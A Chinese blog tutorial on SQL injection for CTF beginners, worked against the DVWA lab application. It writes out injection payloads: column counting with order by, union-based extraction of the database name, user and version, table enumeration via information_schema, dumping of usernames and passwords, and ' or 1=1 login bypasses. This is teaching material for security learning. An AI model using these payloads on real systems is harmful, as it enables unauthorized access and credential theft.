mysql注入ctf_CTF之SQL注入详解

前言:最近打算玩一下CTF,玩过CTF的都知道SQL注入是CTF中最重要的题型。但是。。。。。。。。。很多大佬的WP都是一阵操作猛如虎。很多都不带解释的(大佬觉得简单所以就不解释了=_= =_= =_=)。所以这几天一直都在看关于SQL注入的文章,一直也不理解SQL注入的原理。今天刚好看到了一篇文章,自己也跟着那个博主的思路总结一下,对SQL注入有了一个大概的的理解。写这篇博文一是希望加深自己对SQL注入的理解二也希望能帮助那些还不是特别理解SQL注入的人

参考 链接 https://www.jianshu.com/p/078df7a35671

SQL注入

一.  Sql注入入门知识点总结

猜解数据库

1)     设想这样的一个场景当我们要输入一个用户id,我们输入栏中输入1

这时候其实在后台执行的代码为

SELECT first_name, last_name FROM users WHERE user_id = '1';

2)     如果我们不按常理出牌而是在输入框中输入1‘ order by 1#

那么这时候后台执行的代码就变成了:

SELECT first_name, last_name FROM users WHERE user_id = '1' order by 1 #‘(按照sql的语法#起注释作用所以#后面的单引号就被注释掉了)

当我们输入order by 1的时候可能不会报错那么我们这时候可以尝试 23456,直到报错为止

c450483051b59b7a850311b80db3e9a5.png

假如当数字等于3的时候报错,那说明当前表只有两个字段并且只有2列

接下来使用union select 联合查询继续获取信息

Union select运算符可以将两个或者两个以上的select语句查询结果集合合并成一个结果集合显示,即执行联合查询需要注意的是使用union查询的时候需要和主查询的列数相等,而且我们之前已经知道主查询的列数是2,接下来就好办了

1)     这时候我们输入1‘ union select database(),user()#进行查询

l  Database()将会返回当前网站所使用的数据库名字

l  User()将会返回执行当前查询的用户名

实际执行的sql语句是:

SELECT first_name, last_name FROM users WHERE user_id = '1' union select database(),user() #;

296d6eaa9a8154b85bf8a3b0a908bd12.png

通过查询的结果我们可以清晰的看出

u  当前执行查询用户名为root@localhost

u  当前使用的数据库是dvwa

2)     接下来我们尝试获取输入1' union select version(),@@version_compile_os#进行查询

u  version() 获取当前数据库版本.

u  @@version_compile_os 获取当前操作系统

实际执行的sql语句是 :

SELECT first_name, last_name FROM users WHERE user_id = '1' union select version(),@@version_compile_os#`;

659a8faf53151c726ba208a980184e35.png

db的版本以及操作系统的类型

u  当前数据库版本为 : 5.6.31-0ubuntu0.15.10.1.

u  当前操作系统为 : debian-linux-gnu

3)     接下来我们尝试获取dvwa数据库中表名

information_schema 是 mysql 自带的一张表,这张数据表保存了 Mysql 服务器所有数据库的信息,如数据库名,数据库的表,表栏的数据类型与访问权限等。该数据库拥有一个名为 tables 的数据表,该表包含两个字段 table_name 和 table_schema,分别记录 DBMS 中的存储的表名和表名所在的数据库。

我们输入1‘ union select table_names,table_schema from information_schema.tables where table_schema = ‘dvwa’ #

实际执行的的sql语句是:

SELECT first_name, last_name FROM users WHERE user_id = '1' union select table_name,table_schema from information_schema.tables where table_schema= 'dvwa'#`;

cbe9d15fdd74efe7effbc816372b01ff.png

通过查询的结果我们可以清晰的看出

l  Dvwa数据库有两个数据表,分别是guestbook,和users

4)     接下来我们尝试获取重量级用户名和密码

由经验我们可以大胆猜测users数据表里面的字段是user 和password所以输入:

1’ union select user,password from users #

实际执行的的sql语句是:

SELECT first_name, last_name FROM users WHERE user_id = '1' union select user,password from users#`;

54292f6fa1c0660b4a5fbea2261c9ff6.png

通过查询的结果我们可以清晰的看出

l  用户名以及密码

二.  Sql注入实验二验证绕过

接下来我们将看下面的登陆页面

8a16c86060751f167987a65038215a71.png

如过我们随便输入 比如 23 232 这时候会报错

怎么做能绕过登陆页面呢?

我们可以尝试输入 123 ‘ or 1=1 123 ‘ or 1=1

这时候我们可以看到

25275b5fb3cffdc36796de4a3a5e56f8.png

这时候我们不禁会想为什么呢?下面我们就来分析一下

实际执行的的sql语句是:

select * from users where username='123' or 1=1 #' and password='123' or 1=1 #'

按照mysql的语法#后面的东西会被忽略掉所以即便我们即便输入 ‘ or 1=1 #(密码栏不输入东西结果也是一样的)

由于判断语句 or 1=1 恒成立所以不管前面输入的什么都能成功登陆

我们不在尝试使用#屏蔽单引号,采用手动闭合式

123‘ or ‘1’ =’1 这样同样能登陆成功

后记:SQL注入需要大量的练习以及经验的总结,这里仅仅介绍了一些最基本的一些玩法,后面如果遇到一些好玩的注入我也会在这里分享。

未完待续。。。。

  • 0
    点赞
  • 4
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值